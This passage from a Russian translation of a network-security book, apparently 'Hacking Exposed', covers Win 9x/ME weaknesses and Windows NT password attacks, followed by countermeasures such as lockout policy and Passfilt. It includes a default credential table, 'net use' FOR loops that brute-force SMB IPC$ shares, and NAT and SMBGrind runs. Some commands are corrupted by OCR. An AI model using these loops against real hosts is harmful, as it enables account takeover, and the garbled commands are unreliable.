          Если вы до сих пор пользуетесь одной из ранних версий Win 95 (выпушенных до появления OSR2), то из Internet можно получить и установить модуль обновления. обеспечивающий более надежное шифрование РWL-файла. Для этого необходимо выполнить инструкции, приведенные в статье базы знаний компании Microsoft по адресу http://support.microsoft.com/support/kb/articles/Ql32/8/07.asp.


          PWL-файлы -- это далеко не единственная жертва программистов-взломщиков. Например, на Web-узле, расположенном по адресу http: //www. lostpasswcrc..com. содержится перечень утилит, предназначенных для взлома практически любых паролей, начиная от FST-файлов Microsoft Outlook и заканчивая файлами Microsoft Word. Excel и PowerPoint (так и хочется спросить: "Что вы хотите взломать сегодня?"). Имеется также несколько программ для взлома ZIP-файлов, в которых многие пользователи пересылают важную информацию, надеясь на защиту таких архивов с помощью пароля. Например, утилита Advanced Zip Password Recovery (AZPR) компании Elcomsoft позволяет выполнить взлом с помошью словаря или посредством перебора всех возможных вариантов. Кроме того, она является чрезвычайно быстрой Т >к, и >. приведенного ниже рисунка видно, что в процессе одного сеанса работы за одну секунду в среднем осуществлялась проверка.518783 паролей.
          Еще одним хорошим узлом с богатым выбором утилит тестирования и восстановления паролей является Web-страница Джо Песцеля. Приятно знать, что как бы вы ш запутались в паролях, вам всегда поможет сосед-хакер, не так ли?


          7.gif

          Изображение: 

          8.gif

          Изображение: 

          9.gif

          Изображение: 

          8. Windows Millenium Edition (ME)



          Windows Millenium Edition (ME)


          Компания" Microsoft выпустила свою новую операционную систему Windows Millenium Edition (ME). Она является прямой наследницей Win 9.x и с этой точки зрения не содержит никаких серьезных изменений в области обеспечения безопасности по сравнению с более ранними версиями. Другими словами, если вы всерьез обеспокоены вопросами обеспечения безопасности, то лучше перейти к другой версии — Windows 2000. Win ME продолжает традиции своих предшественниц и предоставляет минимальные возможности защиты, чтобы повысить совместимость оборудования и простоту использования системы. С точки зрения обеспечения безопасности эта операционная система очень похожа на Win 9.x. Следовательно, нет никаких причин подробно рассматривать Win ME.
          Для удаленною проникновения Win ME по-прежнему не представляет никакого интереса. В этой операционной системе не появилось ни одной новой службы. По умолчанию режим совместного использования файлов и принтеров отключен, как и служба удаленного управления системным реестром. Если конечный пользователь не изменит режимы, установленные по умолчанию, то удаленное проникновение в систему Win ME окажется практически невозможным.
          В Win ME имеется усовершенствованный компонент, позволяющий совместно не пользовать подключение к Internet (ICS — Internet Connection Sharing). Аналогичное средство появилось еще в системе Win 98, однако теперь его гораздо проще установить и настроить с помощью многочисленных мастеров. Благодаря компоненту ICS компьютер под управлением системы Win ME может функционировать в качестве маршрутизатора, когда несколько компьютеров совместно используют единственное подключение к Internet. Такой режим в Win 9x отсутствовал, так что в Win ME он открывает для взломщиков интересные возможности.
          Компонент ICS устанавливается с помощью аплета Add/Remove Programs панели управления, во вкладке Windows Setup открывшегося диалогового окна. Настроить новую службу можно с помощью мастера Home Networking Wizard, который позволяет установить режим, когда ресурсы компьютера требуется предоставить в совместное пользование. В процессе установки имеется возможность ввести пароль, однако делать это необязательно. После перезагрузки будет установлен режим совместного использования файлов и принтеров. Если пароль не был задан, то папка My Documents или My Shared Documents (C:\A11 Users\Documents, имя ресурса Documents) будет доступна для совместного использования без ограничений и без пароля. Однако совместно используемые ресурсы будут доступны лишь с "внутренней" стороны сети.
          Хотя служба ICS не должна повышать уязвимость интерфейса с внешним миром, она разрабатывалась для маршрутизации трафика исходящих сообщений из внутренней во внешнюю сеть (даже посредством удаленных соединений). По-видимому, взломщик, проникнувший в систему Win ME или подключившийся к удаленной сети через службу ICS, получит практически неограниченный доступ к компьютерам этой сети. Нет смысла предполагать, что удаленные клиенты Windows не повлияют на безопасность сетей, к которым они подключены.
          В терминах локального проникновения система Win ME аналогична 9х. Стоит еще раз подчеркнуть: устанавливайте пароли BIOS на общедоступных компьютерах (особенно переносных), задайте пароль экранной заставки, а также подсистемы управления питанием. В справочной системе Win ME содержится информация о новой возможности шифрования папок, однако в используемой нами версии этой системы после щелчка правой кнопкой на имени папки она остается недоступной. Нам не удалось собрать никакой дополнительной информации о поддерживаемых алгоритмах и местах хранения ключей шифрования.


          9. Резюме



          Резюме


          Время идет вперед, и Win 9х становится все менее и менее интересной в качестве потенциальной жертвы. Взломщиков все больше интересуют более новые операционные системы, такие как Windows 2000. Для тех, кто остался приверженцем Win 9x, следует принять во внимание следующее.

          •  С точки зрения сетевого взломщика, система Windows 9x/ME несколько инертна, поскольку в ней отсутствует встроенная поддержка регистрации в сети. Практически единственной угрозой сетевой целостности Win 9х/МЕ является совместное использование файлов, что можно легко исправить путем выбора хорошего пароля, и опасности возникновения условия DoS, что так же в большинстве случаев легко решается путем установки пакета обновления DUN 1.3 и системы Windows ME. Однако в любом случае мы настоятельно рекомендуем не подключать незащищенные системы Win 9x/ME непосредственно к Internet. Простота, с которой такие компьютеры могут оказаться в руках взломщиков, и недостаток адекватных средств защиты — верные источники возникновения проблем.
          •  Гуляющие по просторам Internet Back Orifice и NetBus, а также многочисленные коммерческие пакеты, предназначенные для удаленного управления (см. главу 13), могут сделать гораздо больше, чем простое расширение недостающей Win 9х/MЕ сетевой функциональности. Убедитесь, что они не установлены на компьютере без вашего ведома (например, через известные изъяны клиентского программного обеспечения Internet, как будет описано в главе 16), а также в том, что легально установленные программы настроены на максимальный уровень безопасности (т.е. используются хорошие пароли).
          •  Постоянно обновляйте программное обеспечение, поскольку в пакетах обновления зачастую содержатся исправления различных модулей системы защиты. Для получения более подробной информации о степени уязвимости необновленного программного обеспечения, а также о способах повышения их надежности читайте главу 16.
          •  Если кто-то получит физический доступ к вашему компьютеру под управлением Win 9x, вам конец (впрочем, то же самое можно сказать и о большинстве других операционных систем). Единственным решением этой проблемы может быть защита с помощью пароля BIOS, а также использование программного обеспечения сторонних производителей.
          •  Если вы занимаетесь хакингом Win Эх из любопытства, вам будет чем поразвлечься, особенно, если вспомнить о количестве рассмотренных утилит. Если же вы администратор сети, то не забывайте, что в PWL-файлах могут содержаться данные пользовательских учетных записей, используемых для регистрации в сети. Поэтому не нужно относиться к утилитам такого рода пренебрежительно, особенно, если физический доступ к компьютерам пользователей с системой Win Эх в вашей организации слабо ограничен или совсем не контролируется.


          Глава 5. Уязвимость Windows NT



          Глава 5. УЯЗВИМОСТЬ WINDOWS NT




            1. Уязвимость Windows NT



            Уязвимость WINDOWS NT


            Согласно маркетинговым данным, операционная система компании Microsoft Windows NT занимает значительную долю рынка сетевых операционных систем как в государственном, так и в частном секторе экономики. При этом Windows NT стала "мальчиком для битья" в хакерской среде. Что послужило причиной, то ли ее широкая распространенность, то ли раздражение от маркетинговой политики Microsoft, то ли стойкая нелюбовь в профессиональной среде к ее простому в использовании графическому интерфейсу, который воспринимается как профанация самого понятия сетевой операционной системы, сказать трудно, однако факт остается фактом. Впервые о проблемах безопасности в NT заговорили в начале 1997 года после опубликования хакером Хоббитом (Hobbit) из группы Avian Research статьи о двух фундаментальных архитектурных решениях Windows NT — Common Internet File System (CIFS) и Server Message Block (SMB). (Co статьей можно ознакомиться по адресу http://www.insecure.org/stf/cifs.txt.) С тех пор работа над выискиванием методов проникновения в систему NT не прекращается ни на один день.
            Компания Microsoft терпеливо устраняет все недостатки по мере их обнаружения. Поэтому на сегодняшний день мы считаем, что расхожее мнение о том, что Windows NT является абсолютно незащищенной системой, справедливо не более, чем на 1%. При грамотном подходе NT обеспечивает безопасность не ниже, чем любая система UNIX. Более того, мы возьмем на себя смелость заявить, что по некоторым причинам система защиты NT может превосходить средства безопасности UNIX, в пользу чего говорят следующие доводы.

            •  NT не предоставляет встроенных средств, обеспечивающих удаленный запуск кода в процессорном пространстве сервера. Любые выполняемые программы, запускаемые клиентом, загружаются в память клиентского ПК и выполняются его процессором. Исключением из этого правила является терминальный вариант системы NT Terminal Server Edition, обеспечивающий многопользовательский графический интерфейс для удаленных клиентов (данная возможность встроена в следующую версию NT —Windows 2000, см. главу 6).
            •  Право интерактивной регистрации в сети с консоли NT Server (на рабочие станции это ограничение не распространяется) по умолчанию предоставляется лишь нескольким пользователям, обладающим правами администратора. Так что, если злоумышленнику не удастся раздобыть пароль администратора, он ничего не сможет сделать даже имея физический доступ к консоли сервера. Существуют некоторые методы, позволяющие обойти эти препятствия, однако они требуют совпадения чрезвычайно маловероятных событий.

            Итак, если все это правда, тогда почему мы не утверждаем, что NT безопасна на все 100%? На то есть две причины: поддержка старых программ (так называемая совместимость сверху вниз) и простота использования. Как мы покажем ниже в этой главе, приверженность к старым клиентским программам может сделать NT менее безопасной, чем она могла бы быть. Два основных примера — это обеспечиваемая в NT поддержка сетевых протоколов NetBIOS, CIFS и SMB, а также старый алгоритм шифрования пользовательских паролей, доставшийся NT в наследство от Lan Manager. Именно благодаря этим нюансам задача хакера по инвентаризации системной информации NT и расшифровке файлов с паролями является более легкой, чем она могла бы быть.
            Во-вторых, простота интерфейса NT очень привлекает начинающих администраторов, которые, как правило, мало задумываются о таких вещах, как обеспечение безопасности. Судя по нашему опыту, строгие правила выбора паролей и хорошая настройка параметров безопасности — довольно редкое явление даже в среде опытных системных администраторов. Таким образом, у взломщика, натолкнувшегося на сеть NT, всегда есть шанс обнаружить по крайней мере на одном компьютере, будь то сервер или рабочая станция, учетную запись Administrator с пустым паролем. Кроме того, простота установки системы NT "на скорую руку" еще больше усиливает данную проблему.
            Итак, взглянув на вопросы безопасности NT "с птичьего полета", давайте опустимся на землю и приступим к рассмотрению деталей.


            2. Введение



            Введение


            При изложении материала данной главы мы будем считать, что большая часть подготовительной работы для проникновения в систему NT уже проделана: цель выбрана (глава 2), а ее ресурсы инвентаризованы (глава 3). Как уже упоминалось в главе 2, если при сканировании оказалось, что порты 135 и 139 находятся в состоянии ожидания запросов, значит, данный узел, по-видимому, работает под управлением системы Windows NT (если обнаружен только порт 139, то это может быть и Windows 9x). Более полная информация о системе Windows NT может быть получена при сборе идентификационных маркеров.

            Как вы увидите в главе 6, наличие открытого порта 445 также является признаком системы Win 2000.

            После того как выбранная цель однозначно идентифицирована как компьютер под управлением Windows NT, начинается процесс инвентаризации ее ресурсов. В главе 3 подробно описаны средства, использующие анонимные соединения, посредством которых можно извлечь информацию о пользователях, группах и службах, работающих на целевом компьютере. При инвентаризации обычно выявляется столько информации, что зачастую бывает трудно провести грань между тем, где заканчивается инвентаризация и где начинается проникновение. Как правило, попытки взлома пароля следуют сразу же за выявленным именем пользовательской учетной записи. Анализируя данные, полученные с помощью методов инвентаризации, о которых мы говорили в главе 3, взломщик обычно всегда находит какие-то "зацепки" для выбора точки проникновения.


            3. На каком свете мы находимся



            На каком свете мы находимся


            Следуя классической модели проникновения, на которой построена эта книга, мы посвятили данную главу описанию оставшихся действий типичного хакера, пытающегося проникнуть в систему Windows NT: получение привилегий суперпользователя, расширение полномочий и сокрытие следов проникновения.
            Эта глава не содержит полного и всеобъемлющего описания всех имеющихся в Internet средств, с помощью которых можно выполнить перечисленные выше задачи. Мы расскажем лишь о наиболее элегантных и полезных (на наш взгляд) из них, уделяя основное внимание общим принципам и методологии проникновения. Имеется ли самый правильный путь, следуя которым систему NT можно наилучшим образом подготовить к потенциальному проникновению?

            Пожалуй, наиболее опасными методологиями проникновения в систему Windows, не рассмотренными в данной главе, являются приемы хакинга в Web. Средства защиты на уровне операционной системы зачастую оказываются бесполезными при предотвращении подобных атак на уровне приложений. Некоторые из наиболее разрушительных атак на систему NT за последние несколько лет базировались на использовании таких средств, как компонентов MDAC, и были направлены против встроенного в NT/2000 Web-сервера — Internet Information Server (US). Эти средства проникновения рассматриваются в главе 15.


            4. Windows 2000



            Windows 2000


            Система NT находится не на самом верху иерархии операционных систем компании Microsoft. Выпушенная в начале 2000 года, система Windows 2000 является самой последней и мощной версией NT.
            Win 2000 будет обсуждаться в своем собственном пространстве терминов в главе 6. Хотя некоторые читатели могут не согласиться с логическим разделением двух тесно связанных друг с другом операционных систем, мы считаем, что различия между ними достаточно существенны и заслуживают отдельного рассмотрения.
            Естественно, многие (ели не все) приемы, описанные в данной главе, применимы также и к системе Win 2000, особенно если их использовать на практике. Мы сделали все возможное, чтобы привести такие ситуации, в которых поведение этих операционных систем различается или Win 2000 обеспечивает лучшее решение проблемы. Подобные различия приводятся в разделах, посвященных возможным контрмерам. Однако в то же время мы не преследовали цель представить эти сведения как полное руководство по переходу с одной системы на другую или их сравнительный анализ. Конечно, переход на новую операционную систему не должен происходить спонтанно и мы надеемся, что приемы проникновения, имеющие отношение к NT (и к Windows 2000 при ее работе в смешанном режиме, используемом по умолчанию) окажутся полезными на практике в течение многих лет.
            Во время написания этой книги система Win 2000 только появилась на рынке программного обеспечения и с точки зрения обеспечения безопасности уже выдержала несколько серьезных тестов. В общем, мы считаем эту операционную систему более устойчивой против нападений взломщиков и настоятельно рекомендуем обновить используемую систему до Win 2000, поскольку она обеспечивает более надежную систему защиты. Для Win 2000 уже имеются пакеты обновления, удовлетворяющие современным требованиям и протоколам, которые предоставляют гораздо более высокую степень защиты. Кроме того, упростился доступ к некоторым скрытым параметрам системы безопасности NT, которые теперь помещены в системный реестр. Од н.-.-к о систему Win 2000 не следует рассматривать как панацею от всех бед. Не стоит сидеть сложа руки и ждать, что система Win 2000 будет сама обеспечивать требуемую защиту. Рассчитывать нужно в первую очередь на себя, и это касается любой операционной системы. Время покажет, насколько Win 2000 является исключением из этого правила, и глава 6 может служить подтверждением этого факта.


            5. Administrator: в поисках сокровищ



            Administrator: в поисках сокровищ



            Правило № 1, о котором нельзя никогда забывать при обеспечении безопасности Windows NT, состоит в том, что любой нарушитель абсолютно беспомощен, если он не обладает нравами администратора. Как мы увидим из дальнейшего обсуждения. NT не поддерживает (по умолчанию) удаленного выполнения команд, а если и позволяет это делать, то интерактивно зарегистрироваться могут лишь пользователи из группы администраторов. Это существенно сужает возможности удаленных пользователей по нанесению ущерба. Поэтому взломщики, как голодные акулы, рыщущие в океанской пучине в поисках жертвы, прилагают все усилия, чтобы выявить учетные записи пользователей, обладающих правами администратора. Именно поэтому мы начнем с рассмотрения деталей основного механизма получения привилегий администратора — подбора пароля.
            Что, несколько неожиданно? Вы думали, что мы вам расскажем о каком-то чудесном способе, с помощью которого вы моментально поставите NT "на колени"? Хотя существование такой "серебряной пули" теоретически возможно, ее все еще никто не нашел за все гады существования операционной системы NT. Некоторые из возможных подходов будут рассмотрены в конце раздела. Однако, к сожалению, вынуждены вас огорчить — в том, что касается безопасности, справедливо древнее утверждение: "Чем больше веши меняются, тем больше они остаются неизменными". Другими словами, прежде, чем защищаться от каких-либо экзотических методов проникновения, необходимо с помощью правильно выбранного пароля как можно лучше защитить учетную запись Administrator.

            Удаленный подбор пароля



            Если на удаленном компьютере запушена служба NetBIOS, с которой связан TCP-порт 139, то самым эффективным методом проникновения в систему NT является удаленное подключение к выявленному ранее совместно используемому ресурсу и подбор пар регистрационное имя/пароль до тех пор, пока одна из них не окажется правильной.
            Конечно, для того чтобы процесс подбора пароля оказался по-настоящему эффективным, необходимо наличие списка пользовательских имен. Ранее уже были рассмотрены некоторые из лучших методов поиска учетных записей пользователей, включая анонимное подключение с помощью команды net use, которая устанавливает нулевое соединение с исследуемым узлом. Для этих же целей можно воспользоваться также утилитой DumpACL/DumpSec от компании Somarsoft Inc., а также утилитами sid2u=er/usar2sid Евгения Рудного (Evgenii Rudnyi). Все эти средства обсуждались в главе 3. Обнаружив реально существующие учетные записи, можно существенно повысить вероятность успешного подбора пароля.
            Найти совместно используемый ресурс, который подходит для нападения, обычно не составляет никакого труда. Из главы 3 вы узнали, что в системах, в которых TCP-порт 139 доступен для удаленного доступа, всегда присутствует скрытый совместно используемый ресурс IFCS, необходимый для взаимодействия процессов. Кроме того, в процессе подбора пароля практически всегда можно воспользоваться административными ресурсами ADMIN$ и [%раздел-диска%]$ (например, С$). Естественно, можно также провести инвентаризацию совместно используемых ресурсов, как описывалось в главе 3.
            Имея под рукой все необходимые данные, нарушитель, находящийся в сети предприятия, может просто открыть окно Network Neighborhood (если с целевым компьютером NT имеется физическое соединение) или же воспользоваться средством поиска Find Computer и IP-адресом для поиска компьютера, находящегося во внешней сети, а потом щелкнуть дважды на пиктограмме найденного компьютера, как показано на приведенных ниже иллюстрациях.


            Подбор пароля можно также выполнить из командной строки с помощью команды net use. Если вместо пароля в качестве ее параметра указать символ *, то удаленный компьютер попросит ввести пароль, как показано в следующем примере.

            С:\> net use \\192.168.202.44\IPC$ * /user:Administrator
            Type the password for \\192.168.202.44\IPC$:
            The command completed successfully.

            Учетная запись, заданная с помощью ключа /и:, выглядит несколько странно. Напомним, что в NT/2000 учетные записи идентифицируются с использованием идентификаторов защиты SID, состоящих из кортежей компьютер\учетная запись или домен\учетная запись. Если зарегистрироваться в качестве администратора не удалось, попробуйте воспользоваться синтаксисом домен\учетная запись.

            Взломщики, как правило, пытаются подбирать пароли для ставших им известными локальных учетных записей отдельных компьютеров с NT Server или Workstation, а не для глобальных учетных записей, позволяющих получить доступ к контроллеру домена NT. В этом нет ничего удивительного, поскольку очень высока вероятность того, что локальные учетные записи контролируются не так строго, как на уровне всей организации (в этом случае все попытки подбора пароля могут также регистрироваться на контроллере домена). Кроме того, система NT Workstation позволяет любому пользователю регистрироваться в сети после регистрации на самом компьютере (т.е. пользователь Everyone может начать сеанс работы, не входя в сеть (Log on locally), а затем при необходимости подключиться к сети), что значительно упрощает удаленное выполнение команд.
            Конечно, если взломать учетные записи Administrator или Domain Admins главного контроллера домена (РОС — Primary Domain Controller), то в вашем распоряжении окажется весь домен (и все домены, с которыми установлены доверительные отношения). Как правило, стоит выполнить идентификацию контроллера PDS, начать автоматический подбор паролей с помощью "мягких" методов (т.е. позволяющих избежать блокировки учетных записей), а затем сразу же приступить к сканированию всего домена с целью выявления незащищенных жертв (т.е. компьютеров с пустым паролем администратора).

            Если вы собираетесь использовать описываемые приемы для проверки компьютеров в сети вашей компании (конечно, с ведома начальства), не забывайте о блокировании учетных записей, которое может произойти при попытках как ручного, так и автоматизированного подбора паролей. В результате можно настроить против себя не только пользователей всей компании, которые не смогут в течение определенного времени получить доступ к своим компьютерам, но и руководство, которое вряд ли после такого инцидента будет поощрять ваши инициативы в области безопасности.

            Метод подбора наиболее эффективен для выявления паролей, заданных с ошибками, характерными для большинства пользователей. К таким ошибкам можно отнести следующие.

            •  Пользователи всегда стремятся выбрать как можно более простой пароль, в том числе, если это возможно, предпочитают вообще обходится без пароля. По существу, наибольшей брешью в любой сети является пустой или просто подбираемый пароль. Поэтому во время проверки системы безопасности на это нужно обращать самое пристальное внимание.
            •  При выборе пароля пользователи хотят, чтобы его легко было запомнить, и используют для этого пользовательское имя, свое имя или же очевидные строки вида "имя_пользователя", "' имя_компании", "guest", "test", "admin" или "password". Поля комментариев (которые можно увидеть с помощью такого утилиты инвентаризации, DumpACL/DumpSec) учетной записи — это тоже хорошо известное место, в котором можно найти подсказки о пароле и даже сами пароли.
            •  Многие популярные программы функционируют в контексте специальной пользовательской учетной записи. Как правило, имена этих учетных записей широко известны и, что еще хуже, обычно они легко запоминаются. Идентификация подобных широко известных учетных записей во время инвентаризации может предоставить взломщику очень серьезный козырь, значительно облегчающий его задачу при подборе пароля.

            Некоторые примеры стандартных пар "имя пользователя/пароль" представлены в табл. 5.1. Мы называем такие пары наиболее вероятными комбинациями. Кроме того, достаточно большой список паролей, используемых по умолчанию, можно найти по адресу http://www.securityparadigm.соm/defaultpw.htm.

            Таблица 5.1. Наиболee вероятные комбинации "имя пользователя/пароль"

            Имя пользователя
            Пароль
            administrator
            пустой, password, administrator
            arcserve
            arcserve, backup
            test
            test, password
            lab
            lab, password
            имя-пользователя
            имя-пользователя, имя-компании
            backup
            backup
            tivoli
            tivoli
            symbiator
            symbiator, as400
            backupexec
            backup

            Хорошо продуманная стратегия подбора паролей, учитывающая все приведенные выше рекомендации, дает на удивление высокий процент успеха. Однако техника, которая хороша для хакера, подбирающего пароль ради развлечения, вряд ли заинтересует вечно занятого администратора сети, у которого и так хватает забот, чтобы заниматься ручным подбором паролей с целью контроля.
            Автоматизированный подбор паролей очень легко выполнить, реализовав единственный цикл FOR с использованием стандартной команды NET USE системы NT. Во-первых, создайте файл с именами пользователей и паролями на основе наиболее вероятных комбинаций, приведенных в табл. 5.1 (или воспользовавшись собственным перечнем). Такой файл может иметь примерно следующий вид (для разделения значений могут использоваться любые символы-разделители; в данном случае — символы табуляции). Обратите внимание, что пустые пароли в правом столбце не указаны.

            [file: credentials.txt]
            password username
            password Administrator
            admin Administrator
            administrator Administrator
            secret Administrator
            и т.д. . . .

            Теперь этот файл можно подать на вход команде FOR следующим образом:

            C:\>FOR /F "tokens=l,2*" %i in(credentials.txt)do net use
            \\target\\IPC$ %i /u:%j

            Эта команда построчно анализирует файл credentials. txt, выбирает первые две лексемы из каждой строки, а затем использует первую из них в качестве переменной «i (пароль), а вторую — как переменную %i (имя пользователя) при установке соединения с помощью команды net use с совместно используемым ресурсом IРС$ целевого компьютера. Для получения более подробной информации о команде FOR введите в командной проке FOR /?. Эта команда для хакеров NT является одной из наиболее полезных.
            Конечно, имеется много специализированных программ, которые позволяют автоматизировать процессе подбора пароля. В главах 3 и 4 мы уже упоминали программы Legion и NAT (NetBIOS Auditing Tool), которые позволяют автоматизировать процесс подбора пароля. Утилита Legion может не только выполнять сканирование диапазона IP-адресов класса С и выявлять совместно используемые ресурсы. Windows, но и обладает возможностью подбора пароля по заданному словарю.
            Программа NAT предоставляет аналогичные возможности, но позволяет одновременно работать с одним компьютером. Однако, поскольку эта утилита запускается из командной строки, ее использование очень легко автоматизировать. В сценарии или командном файле утилита NAT должна подключаться к очередному узду, а затем подбирать пароль как из предопределенного перечня паролей, так и из списка, подготовленного пользователем. Одним из недостатков NAT является то, что как только эта угилита обнаруживает пароль, соответствующий какой-то из учетных записей, она тут же использует эту пару для подключения. Тем самым остальные возможные пароли других учетных записей остаются неизвестными. Ниже приведен пример простого цикла FOR, с помощью которого организуется перебор всех компьютеров сети класса С (Для краткости листинг был отредактирован).

            D:\>FOR /L %i IN (1,1,254) DO nat -u
            userlist.txt -p passlist.txt
            "92.163.202.»! » nat_output.txt
            [*]--- Checking host: 192.168.202.1
            [*]--- Obtaining list of remote NetBIOS names
            [*]--- Attempting to connect with Username:
            'ADMINISTRATOR'Password:
            'ADMINISTRATOR'
            [*]--- Attempting to connect with Username:
            'ADMINISTRATOR'Password:
            'GUEST'
            ...
            [*]--- CONNECTED: Username:
            'ADMINISTRATOR' Password:
            'PASSWORD'
            [*]--- Attempting to access share:
            \\*SMBSERVER\TEMP
            [*]-—- WARNING: Able to access share:
            \\*SM3SERVER\TEMP
            [*]--- Checking write access in:
            \\*SMBSERVER\TEMP
            [*]--- WARNING: Directory is writeable:
            \\*SM3SERVER\TEMP
            [*]--- Attempting to exercise ..
            bug on: \\*SMBSERVER\TEMP

            Еще одним хорошим инструментом обнаружения паролей является утилита NTInfoScan (NT'S) Дэвида Литчфилда (David Litchfield), который известен также под псевдонимом Mnemonix. Эту утилиту можно найти по адресу http://packetstorm.stcurify.com/NT/audit/. NTIS — это простая утилита командной строки, которая выполняет проверку по протоколам Internet и NetBIOS, а результат выводит в файл HTML-формат. Она также осуществляет все необходимые операции по инвентаризации пользователи ;г в конце отчета помещает учетные записи с пустым паролем. В настоящее время утилита NTFS обновлена и распространяется новой компанией Дэвида, Cerberus Information Security. Теперь эта утилита называется Cerberus Internet Scanner (CIS) и снабжена графическим интерфейсом.
            Все упомянутые выше утилиты распространяются бесплатно и, в общем, прекрасно справляются с возложенной на них задачей. Если же вам нужны дополнительные возможности, предоставляемые коммерческими пакетами, рекомендуем обратить внимание на пакет CyberCop Scanner от компании Network Associates Inc. (NAI). в состав которого входит утилита SMBGrind. Эта утилита отличается поразительной скоростью работы, поскольку она одновременно запускает сразу несколько процессов подбора пароля. Во всем остальном она практически не отличается от утилиты NAT. Ниже приведен пример результатов работы утилиты SMBGrind. Параметр -1 определяет количество одновременных соединений, т.е. количество параллельно запускаемых процессов.

            D:\> smbgrind -I 100 -i 192.168.2.5
            Host address: 192.168.2.5
            Cracking host 192.168.2.5 (*SMBSERVER)
            Parallel Grinders: 100
            Percent complete: 0
            Percent complete: 25
            Percent complete: 50
            Percent complete: 75
            Percent complete: 99
            Guessed: testuser Password: testuser
            Percent complete: 100
            Grinding, complete, guessed 1 accounts

            Контрмеры: защита от подбора пароля



            Существует несколько защитных мер, которые могут сделать невозможными или. по крайней мере, затруднить попытки подбора пароля. Первая из них поможет в тех случаях, когда компьютер с системой NT. непосредственно подключенный к Internet, не должен отвечать на запросы о совместно используемых ресурсах Windows. Для этого нужно заблокировать доступ к портам TCP и UDP с номерами 135-139 на пограничном брандмауэре или маршрутизаторе, а также запретить привязку WINS Client (TCP/IP) для любого адаптера, подключенного к внешней сети, как показано на приведенной ниже иллюстрации.
            Это позволит запретить использование портов NetBIOS соответствующим сетевым адаптером. Для узлов с двумя сетевыми адаптерами (dual-homed host) необходимо запретить поддержку протокола NetBIOS на адаптере, подключенном к Internet, и оставить ее на сетевом адаптере внутренней сети. чтобы к совместным ресурсам Windows могли обращаться легальные пользователи. (При отключении поддержки NetBIOS с использованием этого метода, внешний порт остается в режиме ожидания, однако он не будет отвечать на запросы.)


            В системе Windows 2000 для запрещения использования протокола NetBIOS поверх TCP/IP для каждого адаптера в отдельности можно использовать спе.{и-:;ль ный пользовательский интерфейс. Однако, как вы увидите из главы 6, такая возможность вовсе не является панацеей, и отключение адаптеров от совместно используемых файлов и принтеров является гораздо лучшим способом.

            Если ваши компьютеры с системой NT выполняют роль файловых серверов и, как следствие, должны обеспечивать возможность подключения, данных мер, естественно, будет недостаточно, поскольку они будут блокировать или даже запрещать все подобные службы. В таких случаях необходимо применять более традиционные меры: блокировать учетные записи после определенного количества неудачных попыток регистрации, реализовать политику строгого выбора паролей, а также регистрировать все неудачные попытки регистрации. К счастью, для выполнения этих задач компания Microsoft предоставляет все необходимые средства.

            Политика учетных записей



            Одним из таких средств является утилита User Manager. Для задания политики учетных записей выберите в диалоговом окне диспетчера пользователей команду Policies>Account. В появившемся диалоговом окне можно задать определенную политику назначения паролей, например установить ограничение на минимальную длину пароля или потребовать, чтобы пароли не повторялись чаще определенного количества раз. Кроме того, в диалоговом окне Account Policy можно установить блокировку соответствующей учетной записи после заданного количества неудачных попыток регистрации. Диспетчер пользователей также позволяет администраторам принудительно отключать пользователей после завершения установленной длительности сеанса. Это очень удобная возможность, позволяющая "перекрыть кислород" непрошеным ночным гостям.


            Подчеркнем еще раз, что каждый, кто намеревается попробовать "на прочность" пароли как с помощью описанных в данной главе методов ручного, так и автоматического подбора, должен помнить о возможностях блокировки учетных записей.

            Passfilt



            Еще больший уровень защиты можно обеспечить с помощью динамически подключаемой библиотеки Passfilt, входящей в состав Service Pack 2. Для того чтобы она была подключена к системе защиты, необходимо проделать процедуру, описанную в статье Q161990 базы знаний Microsoft Knowledge Base. Данная библиотека позволяет поддерживать жесткую политику выбора паролей, которая гарантирует защиту не только от взлома, но и от ленивого пользователя, выбирающего слишком простой пароль. После установки библиотеки Passfilt все пароли должны состоять не менее чем из шести символов, не могут совпадать с именами учетных записей или быть частью полного имени пользователя, а также должны состоять из символов, которые выбираются как минимум из трех следующих групп.

            •  Буквы английского алфавита в верхнем регистре (А, в, с, ..., Z)
            •  Буквы английского алфавита в нижнем регистре (а, b, с, ..., z)
            •  Арабские цифры (0, 1, 2, ..., 9)
            •  Символы, не являющиеся алфавитно-цифровыми (@, #, !, & и т.д.)

            Библиотека Passfilt должна быть под рукой у каждого серьезного администратора NT, однако нужно отметить два ее ограничения. Первое состоит в жесткой установке минимальной длины пароля в 6 символов. Мы рекомендуем наложить более строгое ограничение в 7 символов в диалоговом окне Account Policy диспетчера пользователей. (Почему так важна разница в один символ, вы узнаете ниже при рассмотрении процесса взлома пароля NT.) Во-вторых, библиотека Passfilt вызывается лишь в том случае, когда решение об изменении пароля принимает сам пользователь. Если же пароль меняется администратором с помощью диспетчера пользователей, то выполнение требований Passfilt не гарантируется (см. статью Q174075). Для того чтобы обеспечить более строгое следование принятой политике учетных записей, можно разработать свою собственную библиотеку Passfilt. Учтите, что при таком подходе в качестве библиотеки Passfilt можно легко "получить в подарок" "троянского коня". Так что при выборе библиотек от сторонних производителей будьте очень внимательны.

            Библиотека Passfilt в системе Win 2000 устанавливается по умолчанию, однако остается неактивной. Для того чтобы ее активизировать, воспользуйтесь консолью secpol.msc или gpedit.msc и активизируйте режим Passwords must meet complexity requirements, относящийся к элементу консоли Security Configuration and Analysis\Account Policies\Password Policy.

            Passprop



            Еще одним важным дополнительным средством, которое входит в состав NT Resource Kit (NTRK) является утилита Passprop, которая позволяет применить к учетным записям домена NT два следующих требования.

            •  Пароли, выбираемые пользователями, должны обязательно содержать алфавитные символы как в верхнем, так и в нижнем регистрах или же состоять из символов и цифр.
            •  Второе требование касается учетной записи Administrator. Как мы уже говорили, эта учетная запись является наилучшим трофеем удачливого взломщика, представляющим собой серьезную опасность для безопасности. К сожалению, исходную встроенную учетную запись Administrator (RID 500) в системе NT заблокировать нельзя, что позволяет взломщикам легко ее идентифицировать и бесконечно долго пытаться подобрать к ней пароль. Утилита Passprop удаляет используемые по умолчанию ограничения NT на блокировку учетной записи администратора. (Учетную запись Administrator можно всегда разблокировать с локальной консоли сервера, что предотвращает попытки спровоцировать состояние DoS.)

            Для того чтобы наложить на систему безопасности оба требования, необходимо установить пакет NTRK (или просто скопировать файл passprop.exe, если установка всего пакета NTRK связана с вопросами защиты) и ввести следующую команду в командной строке: passprop /complex /adminlockout
            Для того чтобы вернуть систему в исходное состояние, необходимо запустить утилиту с параметром /noadminlockout.

            Аудит и регистрация событий



